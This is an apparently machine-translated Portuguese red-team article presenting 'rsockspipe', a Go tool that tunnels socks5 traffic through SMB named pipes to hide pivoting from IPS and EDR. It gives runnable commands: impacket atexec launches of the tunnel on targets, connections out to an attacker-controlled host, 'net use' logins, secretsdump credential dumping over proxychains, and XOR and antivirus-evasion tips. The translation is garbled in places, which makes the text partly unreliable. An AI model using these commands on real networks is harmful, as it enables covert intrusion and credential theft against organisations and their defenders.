Não é segredo que o IPS corporativo está se tornando cada vez mais inteligente. Agora você não surpreenderá ninguém com IPS com SSL-mitm no perímetro da rede ou mesmo dentro da rede corporativa entre segmentos. Ao mesmo tempo, além do conhecido IPS, várias soluções de EDR começaram a aparecer e se espalhar, que já estão observando diretamente os hosts em busca de conexões estabelecidas. Em conexão com esse especialista decente da RedTeam todos os dias, é cada vez mais difícil esconder o olhar onipresente da BlueTeam. Temos que nos tornar mais inventivos no meu trabalho duro.
Uma das soluções para disfarçar nossas “ações destrutivas mais úteis” (c) nas redes corporativas pode ser o uso dos protocolos SMB ou RDP. Você pode se esconder dentro deles e se disfarçar de tráfego legítimo. Isso não é particularmente novo e a técnica de mascaramento no interior do SMB tem sido usada desde o tempo das famosas empresas de APT Duqu e Sauron. Lá, os caras também usaram o protocolo SMB para transferir comandos de controle para seus agentes com grande sucesso. Depois disso, a técnica foi adotada pelos desenvolvedores do Metasploit e Cobalt Strike.
Neste artigo, consideraremos as opções para usar o protocolo SMB para rotação, mas deixaremos o RDP para mais tarde.
Nós usamos SMB
Então, vamos ver o que há de tão bom em usar o SMB para girar.
Em primeiro lugar, é generalizada. O SMB é quase o protocolo nativo da Microsoft e, em redes corporativas com Windows, é usado em qualquer lugar e muito onde. Aqui você e o DFS, e várias atualizações, impressoras e muito, muito tudo. Muito confortável
É verdade que, fora da rede corporativa e, mais ainda, do lado de fora, dentro da 445ª porta TCP, eles agora começaram a fechar em firewalls. O motivo disso são os casos frequentes de phishing e retransmissão usando links como arquivo: // xxxx, \\ xxxx \, etc. E, é claro, não vamos esquecer o WannaCry, que forçou muitas organizações a fechar a porta.
Em segundo lugar, em sistemas modernos, como o Win10 / Win2016 e superior, as informações transmitidas dentro do protocolo SMB, mais precisamente, o SMB3 já está criptografado por padrão. I.e. Ao transferir sua divisão favorita dentro do SMB, você pode ter certeza de que o IPS corporativo não notará isso (obrigado Micosoft por isso!).
Em terceiro lugar, o protocolo SMB fornece um mecanismo conveniente para os chamados pipes (pipes SMB) - esses são, na verdade, os mesmos pipes nomeados que estão disponíveis apenas na rede. Por exemplo, uma linha como \\ 192.168.1.10 \ pipe \ atsvc é um canal de serviço de tarefas agendadas. O Atexec da estrutura impacket apenas trabalha com ele para criar tarefas para executar comandos no Windows.
Você pode visualizar todos os canais abertos no seu sistema usando o utilitário Sysinternals: pipelist.exe (pipelist64.exe) ou através do mesmo PowerShell:
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
Imersão
Então, vamos ver como podemos usar tubos SMB para nossas "ações destrutivas mais úteis".
Queremos usar tubos para comunicação secreta com o escudo da nossa equipe.
O ponto principal é que executamos nosso agente ou shell na máquina de destino e nos comunicamos com ele através do protocolo SMB.
Por exemplo, no metasplit, existem códigos de pagamento especiais para trabalhar com tubos:
meterpreter_bind_named_pipe
bind_named_pipe
Com a ajuda deles, você pode facilmente "pendurar" seu ouvinte (seja ele um medidor de metro ou um shell de comando comum) em um pipe nomeado, ocultando-o dos olhos vigilantes do administrador de segurança. Mas, é claro, todos sabemos bem que é completamente inseguro usar o msf peylods durante o combate no período de descanso / combate e hackers de trabalho real usam ferramentas personalizadas, como se costuma dizer - longe do pecado ...
Uma alternativa ao msf como um shell de comando pode ser o nosso bom e velho assistente - powershell. Existem muitos exemplos na rede sobre o uso de pipes como um canal de comunicação com o C2.
Um deles é o utilitário Invoke-PipeShell da equipe Threatexpress. Ele funciona no modo servidor-cliente e criptografa todo o seu tráfego com uma chave AES de 256 bits.
No servidor, rodamos:
Invoke-PipeShell -mode server -aeskey aaaabbbbccccdddd -pipe eventlog_svc -commandtimeout 30
No cliente, execute:
Invoke-PipeShell -mode client -server targetserver.domain.com -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000
Naturalmente, nosso cliente deve estar autorizado no servidor, portanto, não se esqueça de autorizar primeiro:
net use \\targetserver.domain.com\IPC$ /user:admin Password1
Após uma conexão bem-sucedida, temos um console completo do Powershell. Todos os detalhes sobre o trabalho com esta ferramenta, bem como o próprio código, podem ser obtidos.
Bom Isso parece ser compreensível. Agora, vamos pensar em como podemos dinamizar dentro da rede de destino por meio de pipes SMB. Por exemplo, se apenas a 445ª porta estiver aberta no perímetro da rede (e isso acontece ...) ou as conexões externas do nosso túnel via SSL são impiedosamente bloqueadas por um firewall corporativo, mas por algum motivo eles se esqueceram de fechar o protocolo SMB. Nesse caso, precisamos encaminhar um túnel TCP completo dentro do canal para podermos trabalhar com os recursos internos da rede de destino. A primeira coisa que vem à mente é o mesmo medidor com o estadiamento através de tubos. Ele sabe como fazer isso perfeitamente. Não consideraremos os detalhes aqui, porque tudo é padrão aqui e de acordo com o manual. Os interessados podem ler as instruções para metasploit ou ver a versão curta
aqui .
Já mencionamos as desvantagens do meterpreter acima. Portanto, vamos ver o que mais temos para girar através de tubos ...
Após uma rápida pesquisa no tópico de tunelamento através de tubos, além do medidor de precisão, apenas o
Cobalt Strike e o desenvolvimento do
DxFlatLine foram encontrados .
A primeira opção, em primeiro lugar, é paga e, em segundo lugar - apresenta todas as mesmas desvantagens que o meterpreter.
A segunda opção é feita como PoC, funciona apenas no modo single-threaded e permite tunelar apenas uma conexão - ou seja, como você pode imaginar, também não é uma opção para uso constante na prática.
E o que fazer?
Depois de pensar um pouco sobre o problema, decidimos ... Por que não adaptamos nosso desenvolvimento anterior do Rsockstun, sobre o qual já
escrevemos , para trabalhar com pipes? Além disso, a arquitetura do aplicativo permite fazer isso com facilidade. Em vez de conectar via TCP, usaremos uma conexão via SMB. Ele até simplifica o trabalho do utilitário: não há necessidade de se preocupar com SSL, conexão através de um servidor proxy, etc. Deixaremos apenas a opção com a autorização inicial do cliente no servidor com uma senha, porque pipes são uma entidade pública e, consequentemente, não apenas nosso túnel, mas também outros softwares, incluindo remotamente, podem ler e gravar neles.
Os direitos de acesso a tubulações, bem como a digitalização e enumeração de tubulações em uma máquina remota, são um tópico separado para discussão. Quem desejar pode estudá-lo usando o exemplo de meta-exploração dos módulos scanner / smb / pipe_auditor e scanner / smb / pipe_rpc_auditor.
Para trabalhar com pipes do Go, usaremos a biblioteca
npipeÉ fabricado há muito tempo e já se comprovou em vários projetos. O trabalho nesta biblioteca não é fundamentalmente diferente do trabalho nos mecanismos Net padrão: as mesmas funções são net.Dial, net.Listen, net.Accept.
Para multiplexar várias conexões dentro de um tubo, como da última vez, usaremos o multiplexador Yamux e o socks5 - um servidor proxy. Você pode ler mais sobre a necessidade de multiplexação dentro do TCP e do yamux em nosso último
artigo sobre o rsockstun.
Outra diferença e refinamento da versão com pipes, em comparação com o rsockstun, é que agora o yamux-server e, consequentemente, o socks5-proxy podem ser lançados nas duas extremidades do túnel (embora não simultaneamente, mas lá ou ali). Isso é feito para que o túnel possa ser construído externamente na rede de destino e vice-versa ...
E agora, como sempre - as nuances
Figura 1 - Despejar o tráfego da operação de túnel no Windows 7

A Figura 1 mostra como será a operação do nosso túnel se pelo menos uma de suas extremidades for executada no Windows 7. Aqui, a zona vermelha é o estágio de autorização, verde é a abertura do tubo e azul é a transmissão direta de informações. Também é necessário prestar atenção ao fato de que o protocolo SMBv2 é usado. De fato, isso significa que tudo o que transmitirmos dentro do túnel será visível em texto simples:

Ao contrário do Win7, o Windows10 usa criptografia de dados dentro do protocolo SMB3:

Como vemos, nem o nome do canal nem os dados dentro do túnel são transmitidos em texto não criptografado.
Você pode verificar se a criptografia está funcionando no seu sistema SMB3 usando o cmdlet padrão do powershell Get-SmbServerConfiguration

E com a criptografia desativada, é tão fácil ativá-la:

No entanto, nem sempre podemos ter certeza de que a criptografia dentro do SMB será ativada por padrão, e ativá-la em um servidor ou rede externa não é uma boa ideia ...
Nesse sentido, precisamos fornecer um modo em nosso túnel que permita criptografar o tráfego dentro de nosso túnel. Além disso, não temos a tarefa de criptografar de maneira confiável, de modo que eles possam apenas descriptografar no supercomputador da NSA, mas apenas ocultar as assinaturas de tráfego dentro do túnel do IPS. Nesse sentido, usaremos um XOR simples com uma pequena chave para mascarar nosso tráfego, o que nos permitirá economizar recursos do processador e praticamente não afetará a velocidade de transmissão.
Para não criar uma camada de rede extra responsável pela criptografia do tráfego, adicionaremos a funcionalidade diretamente ao módulo yamux responsável por transferir a carga útil (módulo stream.go e funções de leitura e gravação):
func xoring(istr *[]byte, key string){ for i := 0; i < len(*istr); i++ {(*istr)[i] = (*istr)[i] ^ key[i % len(key)]} }
Depois de fazer as alterações, nossa solicitação GET não é tão claramente visível no tráfego:

Um, dois, três ... Comece!
No total, as opções de lançamento e, consequentemente, a aplicação do nosso túnel serão as seguintes:
Opção 1. Conecte-se de fora à rede e encaminhe a conexão Socks5. Por exemplo, quando a 445ª porta se destaca e sabemos os empréstimos para conectar:
No servidor interno, via conexão SMB e o utilitário impacket, inicie a parte do servidor rsockpipe:
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -listen .\rsockspipename -pass Password1234"
Na máquina Windows externa (controlada por nós), execute a parte do cliente do rsockspipe e, após estabelecer a conexão, use-a como um proxy socks5:
rsockspipe.exe -connect xxxx\rsockspipename -socks yyyy:1080 -pass Pass-word1234 proxychains secretsdump.py admin:Passw0rd@yy1.10
Opção 2. Conexão de dentro para fora pelo protocolo SMB. Quando as conexões externas são rigorosamente monitoradas por todos os protocolos da web e, por algum motivo, os administradores esquecem o SMB ...
Em uma máquina Windows externa (controlada por nós) (ip: YYYY), execute a parte do cliente do rsockspipe e aguarde a conexão dos clientes:
rsockspipe.exe -listen .\rsockspipename -socks yyyy:1080 -pass Password1234
No servidor dentro da rede de destino, execute a parte do cliente (também via impacket):
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -connect YYYY\rsockspipename -pass Password1234"
Após uma conexão bem-sucedida, podemos usar nosso servidor como soscks5:
proxychains secretsdump.py admin:Passw0rd@yy1.10
Há um ponto aqui, especialmente a segunda opção. Lembre-se de que dissemos que, para uma conexão bem-sucedida ao canal, devemos estar autorizados no servidor, ou seja, Antes de iniciar o túnel, precisamos passar pela autorização. Você pode fazer assim:
net use \\yyyy\ipc$ /user:<usrname> <Password1>
Então ... No segundo caso de uso, o comando net use é executado na máquina de destino. E isso significa que na máquina de destino (na memória do processo lsass) restam créditos da sua máquina Windows. E se eles são admin (como regra, todos os hackers iniciantes trabalham com o admin ...), isso pode levar a uma "saudação de volta" do BlueTeam ... Em geral, você pensa quando faz algo ...
Em vez de uma conclusão
Em geral, o túnel acabou sendo muito bom ... O principal é que ele está pronto para uso ativo.
O código fonte, assim como os binários já compilados para x86 e x64, estão localizados em nosso
gitE uma pequena adição. Recentemente, eles começaram a perceber que o software Golang compilado no modo Win GUI (compilação no modo: go build -ldflags = "- H windowsgui") ficou muito disparado por algumas soluções antivírus (KAV, SEP14). Já chega ao ridículo - "Hello World" compilado no modo GUI é detectado como um malware. Aparentemente, isso se deve ao fato de que Golang se tornou uma ferramenta favorita do malware. Portanto, nosso conselho é compilar o projeto no modo de console padrão e, com uma janela cmf preta, um hacker de verdade sabe como lidar com isso (por exemplo, o mesmo impacket, por exemplo).
PS “Ações destrutivas mais úteis” é a redação de D. Samartsev, diretor da BiZone. Nesse caso, descreve com mais precisão a essência do trabalho dos especialistas da RedTeam.